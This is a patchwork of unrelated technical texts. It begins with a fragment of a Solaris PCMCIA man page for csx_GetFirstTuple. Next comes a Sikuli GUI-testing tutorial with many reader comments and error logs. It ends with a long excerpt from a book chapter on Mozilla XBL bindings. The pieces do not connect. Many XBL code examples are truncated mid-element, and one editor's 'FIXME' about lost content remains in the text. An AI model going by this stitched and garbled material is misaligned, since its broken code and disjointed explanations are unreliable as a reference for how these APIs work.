CISTPL_NULL CISTPL_LONGLINK_MFC CISTPL_LONGLINK_A CISTPL_LINKTARGET CISTPL_LONGLINK_C CISTPL_NO_LINK CISTPL_LONGLINK_CB CISTPL_END
Return ignored tuples if set. Ignored tuples will be returned by this function if the TUPLE_RETURN_IGNORED_TUPLES bit in the Attributes field is set, see tuple (9S) for more information. The CIS is parsed from the location setup by the previous csx_GetFirstTuple() or csx_GetNextTuple() request.
This field is the tuple value desired. If it is RETURN_FIRST_TUPLE, the very first tuple of the CIS is returned (if it exists). If this field is set to RETURN_NEXT_TUPLE, the very next tuple of the CIS is returned (if it exists). If the DesiredTuple field is any other value on entry, the CIS is searched in an attempt to locate a tuple which matches.
These fields are the values returned from the tuple found. If there are no tuples on the card, CS_NO_MORE_ITEMS is returned.
Since the csx_GetFirstTuple(), csx_GetNextTuple(), and csx_GetTupleData(9F) functions all share the same tuple_t structure, some fields in the tuple_t structure are unused or reserved when calling this function and these fields must not be initialized by the client.
Successful operation.
Client handle is invalid.
No PC Card in socket.
No Card Information Structure (CIS) on PC card.
Desired tuple not found.
No PCMCIA hardware installed.
These functions may be called from user or kernel context.
csx_GetTupleData(9F), csx_ParseTuple(9F), csx_RegisterClient(9F), csx_ValidateCIS(9F), tuple(9S)
PC Card 95Standard, PCMCIA/JEIDA
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screen using the image recognition method to identify GUI elements. Sikuli script allows users to automate GUI interaction by using screenshots.
We have divided this series in 1st part in this series.
What You Will Learn: advantage
Screen is a base class provided by Sikuli. We need to create target.
Before Execution:
(Click on images to enlarge)
After Execution:
Drawbacks of this tool
- We cannot assure that image match will be always accurate. Sometimes, if two or more similar images are available in the screen , Sikuli will attempt to select wrong image.
- And if image appearance is vary in pixel size, will also result in “Find Failed ” exception.
- Overhead of taking too much screenshots.
- If any one.
51 comments ↓
Very nice tool. But still way behind QTP
I don’t think this tool is trying to emulate UFT. This tool is meant to be an image recognition tool. So basically, it can recognize anything that you want. Also, it can do mobile testing. Both things which UFT cannot do.
Its very good one to know. I am curious to know its next step , that is, how to use it with selenium web driver.
Excellent info about the sikuli Tool
very good introduction
Hi,
I trying to learn sikuli.
– i am unable to find the sikuli-script.jar file to download.
– How i can integrate sikuli with eclipse
– How can i write scripts in eclipse using sikuli.
Has anyone ever tried to use this tool in a Citrix interface application? It is quite difficult to find a tool that works with Citrix.
Page not found error come when click on following link
Information:this link is about tutorial1 of sikuli tutorial
@krishna- uee the above mentioned link to download sikuli zip file,extract it. Inside that folder you can find sikuli-script jar.
Use this link to download sikuli zip file.
@eswai: I’m using Sikuli to test my webpage… I also wrote a little BDD addon to Sikuli to enable behavior driven testing… I run it mainly on 6 Windows 7/8 VMs, couldn’t get it to work reliable on Linux with VMs… Works quite reliable and I’m very satisified with it… /Alex
@Alex – yeah… it is really a very good tool to automate web pages as well as window based applications.
sikuli-script.jar is not there in folder after extracting the zip file
You have to install package 2 after running the runSetup.cmd (windows) to get the sikuli-script.jar . It took me awhile to figure that out
Some attempted to compare QTP with Sikuli?
QTP doesn’t compare to Silktest and RFT, let alone open source products like Selenium Webdriver and Sikuli Webdriver.
Last I knew, QTP doesn’t support dynamic object recognition. Silk and RFT had that back in 2007. QTP, like Test Complete, needed one to maintain an object hierarchy tree.
Sikuli is for pictorial recognition,typically mixed in with Selenium, when Selenium just can’t seem to recognize some pesky object. Sikuli is also used for Flash/Flex based testing.
Eventually, HP will have a very tough time selling QTP.
Hi,
Some one please help me to find out how to work with “combo box” in sikuli. I don’t test “combo box” value
ar
While running the program its is giving “..\tmplib\VisionProxy.dll Can’t find dependent libraries”. Can anyone help
its good ..
Hallo,
I did today both exercise Youtube and DragAndDrop
but I got errors !! Please help.
Youtube.java
Eror at: s.click(“pause.png”)
Error Message: The method dragDrop(PSRML, PSRML, int) in the type Region is not applicable for the arguments (String, String)
DragAndDrop.java
Error: s.dragDrop(“source.png”, “target.png”);
Error Message:
The method dragDrop(PSRML, PSRML, int) in the type Region is not applicable for the arguments (String, String)
I wanted to use Sikuli to automate something really simple.
The ‘image recognition’ apparently REALLY BLOWS.
If it sees even 1 part of the target image, itll trigger.
Like asking it to look for a frog and it goes “heres the frog” and points at a tree.
Very frustrating waste of time.
Edward, you apparently didn’t use Region selection and similarity threshold(which is rather lax at default settings). with those two, it is realistic to make sikuli see what you meant it to.
A new tool ExtensiveTesting based on sikuli and selenium (best of the two world in one tool) : it’s a generic and open source test framework with a test recorder and testcase modelisation.
Take a look
is there Any Automation Testing tool that support win ce 7 application
how to automate WIN CE application
Hi ..
is there any other open source tool available for UI automation testing?
How can I open sikuli script that I have created earlier in sikuli IDE?
Very nice info….
ok . but this is different script.
Good information- will sikuli work with AngularJS/html/Silverlight application?
can we test excel sheet cell data in sikuli?
Hi,
Now, Sikuli can run directly on Android.
AnkuLua = Android + Sikuli + Lua
We are the developer of AnkuLua.
Welcome to try AnkuLua and give us feedbacks.
You can find my findings in below links regarding Sikuli.
I am getting this error
Dec 14, 2015 3:31:06 PM java.util.prefs.WindowsPreferences
WARNING: Could not open/create prefs root node Software\JavaSoft\Prefs at root 0x80000002. Windows RegCreateKeyEx(…) returned error code 5.
[error] ResourceLoaderBasic: checkLibsDir: libs dir is not on system path: E:\sikuli\libs
[action] ResourceLoaderBasic: checkLibsDir: Please wait! Trying to add it to user’s path
[info] runcmd: reg QUERY HKCU
[info] runcmd: reg QUERY HKEY_CURRENT_USER\Environment /v PATH
[error] ResourceLoaderBasic: checkLibsDir: Logout and Login again! (Since libs folder is in user’s path, but not activated)
[error] Terminating SikuliX after a fatal error! Sorry, but it makes no sense to continue!
If you do not have any idea about the error cause or solution, run again
with a Debug level of 3. You might paste the output to the Q&A board.
This is a very good, quick tutorial. Nicely done. I want to open minds of anyone ons this page looking. I also use the sikuli jar for java, as well a selenium jars.
I write all of my code in java, in a testng framework, data driven, and drive everything through jenkins. Sikuli is actually quite scalable and also quite powerful.
You may however, have to have some creativity to get it to work for you the way you hope.
Hi !
I’m working with sikuli for testing windows app.
I need to test how fast gui call back of the app
Any suggestions ?
Hi,
Can we automate the desktop applications using sikuli. any suggestions ?
Hi Anitha,
Can we automate the desktop applications using sikuli. any suggestions ?
Yes we can automate desktop application also.
Hi,
Can we automate mobile apps with this sikuli tool..
Is data driven testing possible in Sikuli ?
Hi Anita,
where can I download Sikuli 64 bit for window and tell me the procedure for testing Desktop Application through Selenium.
How to open Skype or Windows Default Calculator using Java Code configured with Sikuli jar in Eclipse.
I have tried this and below is the error am getting
Can’t load IA 32-bit .dll on a AMD 64-bit platform”
And my Java code is as below:
package com.test.sikuli;
import org.sikuli.script.*;
public class TestSikuli {
public static void main (String args [])
{
Screen s = new Screen();
App myapp = new App(“application-identifier”);
myapp.open(“C:\\Program Files (x86)\\Online Services\\Skype\\SkypeLauncher.exe”);
}
}
Please help me out to solve this
Thanks in advance!
How to take handle of tools like Seetest or any other tool using selenium with sikuli?
Please help me!
Hi,
The article was helpful to understand how to kick start Sikuli. Will Sikuli fit for automating Oracle EBusiness Suite application R12 application?
Actually, I am finding an alternate open source tool to OATS. Can you pls explain me?
Thanks!
Hi,
I’m unable to find Sikuli-Script.jar file
Regards,
Sher Hassan
*** classpath dump
0: /C:/Users/ronak/workspace/sikuliFirstTest/bin/
1: /C:/Users/ronak/Desktop/sikuli/sikulixsetup-1.1.1.jar
*** classpath dump end
[error] RunTimeINIT: *** terminating: libs to export not found on above classpath: /sikulixlibs/windows/libs64
Display this error when run sikuli script in eclipse
Hi,
How can we run the sikuli script created on one machine to other machine.
Not able to find Sikuli-Script.jar. Can someone please guide me ?
subbrao.spi@gmail.com
*****Solution*****
This might help.
Open and download sikuli-setup.jar.
Execute this and this jar will generate a runSetUp.bat file.
Execute bat file and you will get Sikuli-Script.jar.
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http://www.softwaretestinghelp.com/sikuli-tutorial-part-1/
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.
Figure 7-1. Mozilla XBL binding:
XBL
An acronym for the eXtensible Binding Language. In some contexts, the term XBL refers to actual code (e.g., “the XBL in this example . . . ”). XBL is an XML syntax.
Binding.
Binding document
An XBL file with an .xml extension that contains one or more bindings.
Bound document
A XUL (or HTML) document that has one or more bindings attached to it as content.
Bound element
A bound element is a widget or element that uses a particular binding. It can be an existing element in the XUL or HTML set or a newly invented one.
Anonymous content
Content (e.g., XUL elements) contained in a binding that is hidden from the document object (DOM). Refer to the section Section 7.4, later in this chapter, for a more detailed discussion of its characteristics and how to programmatically gain access to the content.
Attachment and detachment
Attachment is the process through which a binding is associated with a bound element. It is essentially a way of telling the element which binding to use. Detachment is the process of removing that link and with it, the binding display.
Insertion point
The point in anonymous content at which children of the bound element are inserted. The section Section 7.4.4, later in this chapter, details the insertion process.
Inheritance.
The best way to understand a binding is to watch one evolve from start to finish. This section examines a binding from its inception, into the construction of the binding, and through its use in a XUL document. At the end of the section, you should be able to take the pieces and construct your own binding, so try to follow it like a step-by-step guide.
Design is important in XBL. The implementation can sometimes be tricky; for example, when you intend to reuse the binding elsewhere or when others use it in a way you don't foresee. Ideally, a binding should be as small as possible to facilitate reuse. And it's a good idea to separate your binding into smaller pieces -- perhaps smaller “subbindings” -- so you can recombine when necessary. You could design the <datafield/> widget mentioned in the introduction -- for example, as a combination of the XUL <textfield/> widget and your own new binding, <validator/>, which you could then use elsewhere.
The widget constructed in this section is a good example of a small, reusable binding. It is a special text input widget called inputfield -- a self-contained extension to a XUL textbox that can be used on its own or as part of another binding. The binding combines a <label> and a <textbox>, allows child elements, and offers functions that work with the data and style of the <textbox>.
Attachment is the process through which the binding is connected to the bound document that uses it. This process is most commonly achieved through CSS, but can also be done by using the DOM. The section Section 7.4, later in this chapter, details the interaction between XBL and the document object model. The CSS connection begins where the bound element is placed in the XUL file:
<inputfield/>
Remember that XML ignores elements it doesn't recognize, so this new element won't be rendered until you add information to the stylesheet; a binding is attached with the special -moz-binding attribute. The style selector must be associated with the bound element in the XUL file. In the following example, the binding is attached to every <inputfield> tag because the element name itself is used as the style selector. However, -moz-binding can also be inside a class selector, an ID selector, or any other CSS selector you wish to use:
inputfield { -moz-binding: url("inputfield.xml#inputfield"); }
It also can be from an inline style:
<inputfield id="ifd" style="-moz-binding: url("inputfield.xml#inputfield")"/>
The constituent parts of this style rule are the -moz-binding property, the url binding locator that takes the bindings file (and possibly the path to it) as a parameter, and the id of the binding denoted with the # notation. For the binding to take, the XBL file must contain a binding with the same id.
<binding id="inputfield"> <!-- binding content / behavior / handlers --> </binding>
The ID of inputfield matches the value specified in the URL after the # symbol. When the UI is drawn in Mozilla, the binding content, behavior, and handlers are applied to the bound document at the point where the <inputfield> element appears in the document. Figure 7-2 shows a visual representation of the constituent parts of a binding attachment occurring via CSS.
Figure 7-2. CSS binding attachment components
In this example, we use our own new element name called <inputfield>, but you can also extend existing XUL widgets by including:
<box id="inputfield" flex="1"/>
Because they are bound through CSS, bindings cannot be guaranteed to be loaded until the whole document is loaded, which means that any inline scripts accessing bindings should be considered incorrect because you cannot guarantee that the binding is loaded.
XBL content is considered “invisible” in the context of the document object because it is not contained directly in the XUL document. Refer to the later section Section 7.4 for more information on this concept.
Because a document binding can have multiple instances, something must happen to make the content unique in each one. When a binding is attached to a document, its content is automatically cloned in memory. Every instance of a binding shares the same fields, properties, methods, and event handlers because separate copies of those are simply not necessary. These elements cannot be changed dynamically, but the content document model can.
The <binding> element requires an id attribute to make the binding unique within the entire document. In the general XML specification, there can only be one element in a document that has a certain ID string. As in XUL, if you use an ID twice, the last one parsed is the only one seen. This situation can lead to unexpected behavior. Figure 7-3 shows the appearance of an inputfield binding.
Figure 7-3. The inputfield alone in the XUL document
An <inputfield> has a <label> attached to it, shown here as "Input Field." It also has a regular <textbox>. The “Eric's” label is not part of the binding, but is still displayed inside of it as a child. Child content is discussed later in the section “Extra Binding Content and Insertion Points.” The binding content is defined as:
<content> <children/> <xul:label xbl: <xul:textbox </content>
<children/>, the first element in the binding, lets any elements that existed in the original XUL document pass through the binding's display if it exists inside the <inputfield> tag.
<inputfield id="ifd" label="Input Field"> <label value="Eric's"/> </inputfield>
In this case, the XUL label is inserted into the anonymous content at the point of the <children/> element when the binding is rendered. This ability is useful for changing the ordering of content and adding extra content within a binding.
You can limit which tags are displayed as child content by using something like:
<children includes="treehead|treechildren"/>
These filtering capabilities open the possibility of multiple <children/> in your binding.
The next content element is <xul:label/>. Notice how the XML namespace of xul is used in the content. Using this notation is the most common way to apply namespace XUL elements in bindings.
The label element has an XBL-namespaced inherits attribute. This code translates an attribute used on the original bounded tag into something usable by a content element:
<inputfield id="ifd" label="Input Field">
The final element in the content is a typical XUL textbox that has a namespace like the label. The anonid attribute on the textbox is fabricated and used here to avoid bugs and scope issues with the id attribute in content. The id attribute should be used only on the <binding> and <bindings> tags, but anonid works well as direct DOM access to this element and is shown in the next section.
The next part of the binding, and also the most complex, is the behavior. The <implementation> element contains the <constructor>, <destructor>, <field>, <property>, and <method> -- all of which handle the binding's implementation features.
All elements can contain JavaScript, which changes the binding into a dynamic widget that does more than display content on the screen. The binding implementation accepts user input, dynamically changes the UI, interacts with remote sites through web protocols, and surfaces Mozilla library functions in widgets.
In the example binding, some variables and style rules are set up for access by the rest of the binding to make the code cleaner. These rules are set up by using the constructor:
<constructor><![CDATA[ this.input=document.getAnonymousElementByAttribute (this,"anonid","input"); // Initialize color and backgroundColor to something besides a "" value this.input.inputField.style.backgroundColor="white"; this.input.inputField.style.color="black"; this.input.inputField.setAttribute("onchange",""); ]]></constructor>
The first JavaScript command accesses the <textbox> with the anonid label and puts it into the this.input variable. getAnonymousElementByAttribute is a custom DOM method used to access anonymous content. The section Section 7.4.1, later in this chapter, talks more about the XBL DOM methods.
The use of the this keyword and the “dot notation” comes from Java. If you have programmed in Java, these bindings can be considered similar to Java classes. They are self-contained and can be extended. Using this is not necessary but it's common practice and clarifies that the variable or property is a member of the binding, especially if you define elements in the binding's constructor.
In the next two commands, an object called inputField contains the style object property. You may be familiar with this structure in HTML elements, and in fact, this inputField is a version of the HTML <input> textbox. The <textbox> in XUL derives from that HTML element.
The color and backgroundColor are set here manually to return something other than the initial value of a blank string when they are accessed. The last line in the <constructor> sets up the onchange event handler for the textbox. This event handler is also used in a property for this binding.
This section of a binding executes anything that needs to be done immediately before a binding is unloaded. Here is an example:
<destructor> this.input=null; </destructor>.
Like Java properties, an XBL <property> has getters and setters, so they can behave differently when you read or write data. Here is a subset of properties used in this binding:
<property name="value" readonly="true"> <getter> return this.input.value; </getter> </property> <property name="uppercase" readonly="true" onget="return this.value.toUpperCase( );"/> <property name="backgroundColor"> <getter> return this.input.inputField.style.backgroundColor; </getter> <setter> this.input.inputField.style.backgroundColor=val; return val; </setter> </property>.
Methods in XBL are self-contained functions represented by the <method> tag and encapsulated within the <implementation> element. They usually provide a binding object with a specific function like copying and saving some data or showing and hiding widget controls. Like properties, they can be called from within the binding, from another binding that subclasses that binding, and directly from the bound element.
<method name="clear"> <body> this.input.value=''; </body> </method> <method name="setValue"> <parameter name="newValue"/> <body> this.input.value=newValue; </body> </method>
The method code is contained in a <body> tag, and each method can have 0 or more parameters, which gather the values passed into the method when called.
Handlers in XBL mimic regular document events like onclick and onmousedown, and provide a means for trapping them within your binding and carrying out tasks associated with them.
<handlers> <handler event="mouseover"> this.input.focus( ); </handler> </handlers>
Each handler is contained in a <handler> tag and the event name is placed in the event attribute -- minus the “on” prefix. The handler in the code shown above places the focus in the inputfield when the mouse goes over it. See the section “Event Handling,” later in this chapter, for more details.
The sample binding's last piece of the puzzle is style. Any XUL elements used in the content inherit the default styles for those widgets, but if you want to add more, you can include your own stylesheet like this:
<resources> <stylesheet src="inputfield.css"/> </resources>
Notice the <resources> <implementation> element is the container for all other elements that make up a binding's behavioral portion. Example 7-1 shows an empty implementation shell that highlights the element's contained hierarchy.
Example 7-1. XBL implementation element
<implementation> <constructor /> <destructor /> <method name=""> <parameter name="" /> <body /> </method> <property> <getter /> <setter /> </property> <field /> </implementation>
The code in Example 7-1 shows the <implementation> <method> element. Each parameter for a method defined in the <method> element is contained within its own <parameter> tag.
<method name="dumpString"> <parameter name="aString1"/> <parameter name="aString2"/> <body> <![CDATA[ if (!aString1 && aString2) return; return dump(aString1+" "+aString2+"\n"); ]]> </body> </method>
To use the method to print text to the command shell, call the name that is specified in the name attribute. All methods created in a binding are added to the binding element object and called as members of that object, as shown here:
<mybinding id="myNewWidget"> <image src="" /> </mybinding> <button label="test method" oncommand="document.getElementById('myNewWidget') .dumpString('hello', 'there!');"/>
Using the <![CDATA XML entity is also important. The purpose of <![CDATA is to escape JavaScript that may otherwise cause conflicts with the XML parser. Having characters like quotes and slashes in XML is problematic when they are not escaped. Using <!CDATA with large portions of JavaScript in a binding can improve performance and minimize bugs.
Methods were designed for language neutrality with the type attribute and getter and setter elements. Currently, bindings support only JavaScript, which is the default when no type is specified. However, this may change as other scripting engines are plugged into Gecko.
Two special methods exist in XBL that allow you to manipulate what happens when a binding is added or removed from a document. These methods use the native <constructor> and <destruct <constructor> executes. Similarly, you can use the <destructor> element to execute functions when a binding is destroyed.
<implementation> <constructor> <![CDATA[ dump("\n********\nCreate\n********\n");]]> </constructor> <destructor> <![CDATA[ dump("\n********\nDestroy\n********\n");]]> </destructor> </implementation>.
Properties on a binding are included by using the <property>.
<property name="someAttribute"> false; </property>
This example always sets the attribute named someAttribute to false. Though still supported, this use of the <property> element was replaced by a new element called <field>. Although it is not in the XBL 1.0 specification, the <field> element is implemented and used in the Mozilla code base. It has the same syntax but a different name. We recommend using the <field> element.
<field name="someAttribute"> false; </field>
The second property usage defines functions that are carried out when getting and setting a property's value. Take this anonymous content with a label child:
<xul:box <xul:label xbl: <xul:spacer </xul:box>
This content simply shows some text on the screen. The bound element that uses this content looks like this:
<mybinding id="my-binding" title="For Those Who Love to Use XBL" />
<property name="title"> <setter> <![CDATA[ this.setAttribute('title',val); return val; ]]> </setter> <getter> <![CDATA[ return this.getAttribute('title'); ]]> </getter> </property>
The script keyword val is used internally to represent the latest property value. The request to change the property or retrieve its value can come from another property in the same binding (this.<propertyName>), <getter> and <setter> elements. Properties are initialized after the content is generated but before the binding attached event is set off. This ensures that all properties are available once that event occurs.
Although it is most commonly used just for getting and setting values on the property, nothing stops you from putting more code in the <properties>
<property name="searchString"> <setter> <![CDATA[ var s = new SOAPCall( ); var q = val; if (!s) return "Error creating SOAPCall object"; var soapversion = 0; var method = "doGoogleSearch"; var object = "urn:GoogleSearch"; var headers = [ ]; var params = [ new SOAPParameter(this.googleKey, "key"), new SOAPParameter(q, "q"),; ]]> </setter> <).
This section introduces the DOM interfaces in XBL, illustrates how they work, and explains the core concepts involved in XBL interaction with the DOM, such as scope characteristics and insertion points.
XBL has two core DOM interfaces, DocumentXBL and ElementXBL. These extensions to the Document and Element interfaces are not part of the formal DOM specifications. All methods can be accessed and used from JavaScript. Here is a list of these interface/content.
<mybinding id="myNewWidget" class="attached" />
<binding id="my-binding"> <content> <xul:vbox> <xul:button <xul:button </xul:vbox> </content> <, <mybinding> -- <inputfield /> binding.
The method getAnonymousNodes(element) takes a node as a parameter and returns a list of nodes that are in the anonymous content. The following code uses script in the <getter> to access the anonymous node and return a value contained in it.
<getter> <![CDATA[ var list = document.getAnonymousNodes(this)[0]; return list.selectedItem.getAttribute('label'); ]]> </get.
<property name="emailID" onget="return document.getAnonymousElementByAttribute(this, 'id', 'emailAddressNode');" readonly="true"/>.
All examples in the chapter have so far dealt with standard binding content rendering within a bound document. The processes outlined in this section can, in one sense, be seen as abnormal because they allow ordering of the content to change based on insertion points defined in the binding. This process is done with the XBL <children> element
Zero or more children can be contained in anonymous content. These children are marked up with the XBL-specific <children> tag. They can be either the content of the element using the binding or anonymous content generated by the base binding. If the <children> tag contains its own elements, then it will be used as the default content. If the element the binding is attached to contains children, the default content will be ignored.
The location of the <children> tags determines the content's insertion point. Insertion points play an important role in the generation of content within a template because they affect how the content is displayed and accessed by the DOM.
<binding id="my-binding"> <content> <xul:vbox> <children /> </xul:vbox> </content> </binding>
This stripped-down binding has only a vertical box as its own content and looks to the children of the bound element for more content by using the <children> element. Here is the XUL content that uses the binding:
<mybinding id="myNewWidget" flex="1" class="attached"> <label value="this is child 1" /> <label value="this is child 2" /> </mybinding>
When the binding is attached and the content is drawn, the insertion point for the two labels is inside the container vertical box inside the binding. This scenario could be used when a binding is used multiple times. Each time, it needs to be rendered differently with extra content that can be provided this way.
Sometimes multiple siblings are located within a box in the XUL, but you want to use only some of them in the binding, such as when a user logs into a system and content is displayed depending on its level of membership. In these cases, you can be selective about which children should be included in the binding. Example 7-5 shows how to use the includes attribute on the <children> element.
Example 7-5. Selective inclusion of child content in a binding
<binding id="my-binding"> <content> <xul:vbox <xul:description <xul:box> <children includes="image" /> </xul:box> <xul:description </xul:vbox> </content> </binding>
The children element in Example 7-5 essentially tells, “Of all the content contained in the bound element, insert only the image element at this particular insertion point.” Here is the XUL code that goes with this example:
<mybinding id="myNewWidget" flex="1"> <image src="" /> <label value="a non includes element" /> </mybinding>
The image is the only child taken from the XUL content and the label is ignored.
If you have children that are not defined in the includes attribute, then the binding is discarded and not used. If the bound element uses another element in addition to an image element, the binding is discarded and only the explicit content is used. If the image element isn't used at all, the binding is discarded.
<mybinding id="myNewWidget" flex="1"> <image src="" /> <label value="an element" /> </mybinding>
This example renders the image and the label and discards the binding. The anonymous content does not appear because the binding is discarded and only the explicit content is used.
In XBL, inheritance is the process in which one object included in another object is allowed to use properties from that parent object. These properties can be many things, depending on the implementation, ranging from methods to attribute property values. Inheritance is a concept familiar in programming languages, most notably object-oriented ones. It's not something alien to markup, however, and it is deployed effectively in XBL. This section examines three forms of XBL inheritance: binding, attribute, and implementation. As you will see, inheritance promotes self-contained (modular) and flexible bindings that permit shared content across and within XBL documents.
Binding inheritance occurs when one binding is linked to another binding or XUL element and uses some or all properties of it, whether they are content or behavior. A binding can inherit from another binding that exists in the same or different file. In one way, this useful feature makes a binding like a class, with content and methods that can be used elsewhere. Bindings become modules, which prevents code duplication, makes maintenance easier, and gets slotted in and out of documents.
Linkage or inheritance is enabled by the extends attribute on the <binding> element. This attribute contains the URL of the binding that you inherit from. This URL is made up of the location and name of the file that contains the binding (the # symbol), and the id of the specific binding being used. In this way, it is similar to the access method used in CSS attachment.
Although it is in the XBL 1.0 specification, Mozilla hasn't fully implemented type="inherits" on the children tag yet, so the best way to work with binding inheritance is to use the extends attribute. Example 7-6 shows a few bindings used in the implementation of the listbox cell in the Mozilla tree. It illustrates how extends is used to inherit from another binding.
Example 7-6. Binding inheritance
<binding id="listbox-base"> <resources> <stylesheet src="chrome://global/skin/listbox.css"/> </resources> </binding> <binding id="listcell" extends="chrome://global/content/bindings/listbox.xml#listbox-base"> <content> <children> <xul:label </children> </content> </binding> <binding id="listcell-iconic" extends="chrome://global/content/bindings/listbox.xml#listcell"> <content> <children> <xul:image <xul:label </children> </content> </binding>
In Example 7-6, listcell-iconic inherits listcell. In turn, listcell inherits list-box-base, which holds resources. The listcell binding is a cell with text only and the listcell-iconic binding has text and an image. Thus, the user has a choice of using a list cell binding with an icon or no icon. Yet both of these bindings have access to the stylesheet resource declared in the base binding. If listcell-iconic is used, the duplicate xul:label is ignored in the inherited binding and the stylesheet inherited from the base binding via the inherited binding is used. We've used this technique to illustrate how resources in multiple bindings are shared.
With binding extensions that use the extends attribute, you can also extend a XUL element as a model, using extensions as a proxy to mimic that XUL element. The element may not be included directly in the anonymous content, but its characteristics are still present on the bound element. If you use the XUL namespace xul: in the same way you use it for XUL content in a binding, you can inherit the XUL element properties as illustrated in Example 7-7.
Example 7-7. Inheriting XUL widget characteristics using extends
<binding id="Widget1" extends="xul:vbox"> <content> <xul:description <children includes="image" /> <xul:description </content> </binding>
In Example 7-7, the binding has all of the attributes and behavior of a XUL box. Because you extend a box element, the base widget <mybinding> is now a vertical box. The anonymous content is laid out according to the box model, and all attributes that are recognized on the bound element are applied to the box.
Also known as “attribute forwarding,” attribute inheritance is a way for anonymous content to link to the attributes from the bound element. When the bound element attribute is changed, this modification filters down to the binding attribute list. The code in Example 7-8 shows anonymous content where multiple attributes are picked up by the xbl:inherits attribute, with each one separated by a comma.
Example 7-8. XBL attribute inheritance
<xul:box <xul:description <xul:box> <children includes="image" /> </xul:box> <xul:description </xul:box> </xul:box>
The element that inherits the attributes can be anywhere in the chain of anonymous content. In this case, it is on the top-level box. It assumes the value given to these attributes in the bound element. Here is the XUL that uses the binding content from Example 7-8:
<mywidget orient="vertical" flex="1" align="center" />
The xul:box element inherits the attribute values vertical, 1, and middle, respectively, from the bound element (mywidget). The box in the anonymous content contains three children: two text (description) elements and an image contained in another box. The default orientation for a box is horizontal, but these child elements are now positioned vertically.
You may notice that the inherits attribute is preceded with the xbl: prefix, unlike other attributes in the XBL element set. Why is this unique? It guarantees that the effect is on the binding and not directly on the element that uses it. This ensures that the element can have an inherits attribute of its own if needed. This scenerio is unlikely and you might wonder why this rule does not apply to other attributes used on XBL elements. To achieve correct binding, the XBL namespace must be declared on an element at a higher level than the element using it, most commonly the <bindings> container, as explained earlier. Here is what the code will look like:
<binding id="my-bindings" xmlns="" xmlns:
The third type of inheritance, inheritance of behavior, is also achieved by using the extends attribute and is useful when you want to use methods or properties in another binding. Example 7-9 shows how one binding inherits implementation from another in the same file.
Example 7-9. Inheritance of behavior between bindings
<binding id="Widget1" extends="test.xml#Widget2"> <content> <xul:box <xul:description <xul:box> <children includes="image" /> </xul:box> <xul:description </xul:box> </content> </binding> <binding id="Widget2"> <implementation> <constructor> this.init( ); </constructor> <method name="init"> <body> <![CDATA[ dump("This is Widget2");]]> </body> </method> </implementation> </binding>
The Widget1 binding in Example 7-9 pulls in Widget2 using extends. Widget2 has implemented a constructor that dumps some text to output. When Widget1 is bound and it does not find any implementation to initiate, it looks to the inherited binding and, in this case, dumps “This is Widget2” to output.
In a bindings inheritance tree, more than one implementation could have a method with the same name. In this case, the most derived binding -- the one nested deepest in the inheritance chain -- is the one used. It is even possible for some common DOM functions used on the bound element outside of the anonymous content to find imitators when implementing the attached bindings.
<method name="getElementById"> <parameter name="id" /> <body> <!-- implementation here --> </body> </method>
If you glance through the source code for the Mozilla chrome, you may notice that many of the standard XUL widgets used were extended by using XBL. The button is a good example.
On its own, the button can display text with the value attribute and an image with the src attribute. Usually, this is sufficient, and you can color the button and change the text font with CSS. But you may want to take advantage of inherent behaviors in other elements or inherit from other bindings. Mozilla buttons are a mix of <box>, <text>, and <image> elements, and they take on the characteristics of each.
Event handlers are attributes that listen for events. They intercept events raised by certain user actions, such as button clicks. When intercepted, control is given to the application to carry out some functionality.
Mouse and keyboard actions are included in these events. XBL uses all events that are available on an element in XUL and calls them by their name, minus the on prefix. Thus, for example, the onmouseclick event handler becomes mouseclick in XBL. Refer to Appendix C for a full list of these events, which also describes the difference between XUL and XBL event handling.
The <handler> element contains a single event. Sets of individual <handler> elements need to be included in a <handlers> element. The event that sets off the action is contained in the event attribute.
<handlers> <handler event="mousedown" action="dumpString('hello', 'there!')" /> </handlers>
This code uses the action attribute to point to script that is executed when the event is triggered. The alternative way to set up the actions is to put the executable script between the handler tags, like you can with the XUL <script> element. If you use this “embedded” syntax, wrap your script in a CDATA section so it gets interpreted and executed properly:
<handlers> <handler event="mousedown"> <![CDATA[ var list = document.getElementById('someElement'); list.setAttribute('style', 'display:block;'); ]]> </handler> </handlers>
You cannot use both inline and external scripts in an XBL event handler. If this instance does occur, the action attribute is used. Like code decisions in other contexts, which one you use depends on whether you want to reuse the code. In our experience, using inline scripts is best in most circumstances unless useful code libraries can be accessed in external scripts.
Event handlers in XBL allow for fine-tuning, using built-in attributes that control when, where, and how they are executed. Events are not limited to bindings. They can be registered with other UI elements that pre-empt behavior when, for example, a create or load event occurs. This registration occurs when using the attachto attribute.
<handler event="create" attachto="window" action="returnNode( )">
The handler is designed to update the list in the binding when the application is loaded up and the window shows. Other possible values for attachto are document and element.
//FIXME did we loose content here?
The attachto feature is disabled for Mozilla 1.0, but it is included here for completeness and to highlight XBL's full capabilities.
Another nice feature of event handlers in XBL is the existence of extra modifiers on mouse and key events using the modifiers and the key or keycode attributes. The value is a list of one or more modifier keys separated by a comma. The most common combination is the use of the alt, control, or shift modifiers. The key codes have special identifiers like VK_INSERT and VK_UP.
<handler event="keypress" modifiers="control, alt" keycode="VK_UP" action="goUp( )">
Finally, when talking about event handlers, the phase attribute allows you to control the point in the event's lifecycle when the code is to be executed.
<handler event="mouseup" phase="capturing" action="goUp( )">
The possible values are bubbling (the default), targeting, and capturing.
Here is an example of a handler implementation that fills a tooltip when the popup element displaying it is shown:
<handler event="popupshowing"> <![CDATA[ var label = ""; var tipNode = document.tooltipNode; if (tipNode && tipNode.hasAttribute("tooltiptext")) this.label = tipNode.getAttribute("tooltiptext"); ]]> </handler>
This event handler first checks that the current popup is in fact a tooltip via the document's tooltipNode property and then extracts the text from it. This text is assigned to the binding's label, which will propagate via inheritance to the text display content widget used in the binding, which could be a label or description element.
This chapter stresses that bindings used in XUL documents are designed to be modular, self-contained widgets that have a certain appearance and carry out a specific set of functionality. This final section extends the notion of XBL as an organization of content, behavior, and event handling by describing extra resources (such as stylesheets and pictures) that are available in the XBL framework for use in your bindings. If you are creating templates, for example, you should consider using these approaches to application development.
You can include stylesheets in an XBL document by using the XBL-specific element <stylesheet>. The example below shows the color-picker stylesheet as it would be included in a <resources>-containing element, allowing styles contained therein to be used by the bindings that referenced it.
<stylesheet src="chrome://xfly/skin/color-picker.css" />
The <stylesheet> element is intended for the styling of bound elements and anonymous content. It can be used on anonymous content generated by the binding and in explicit children in documents that use the bindings. Typically, you would include this element in a binding and inherit it to style other bindings when there are many bindings that have a similar appearance.
<binding id="popup-base"> <resources> <stylesheet src="chrome://global/skin/popup.css" /> </resources> </binding>
Then you can access the stylesheet in your binding by using the extends attribute:
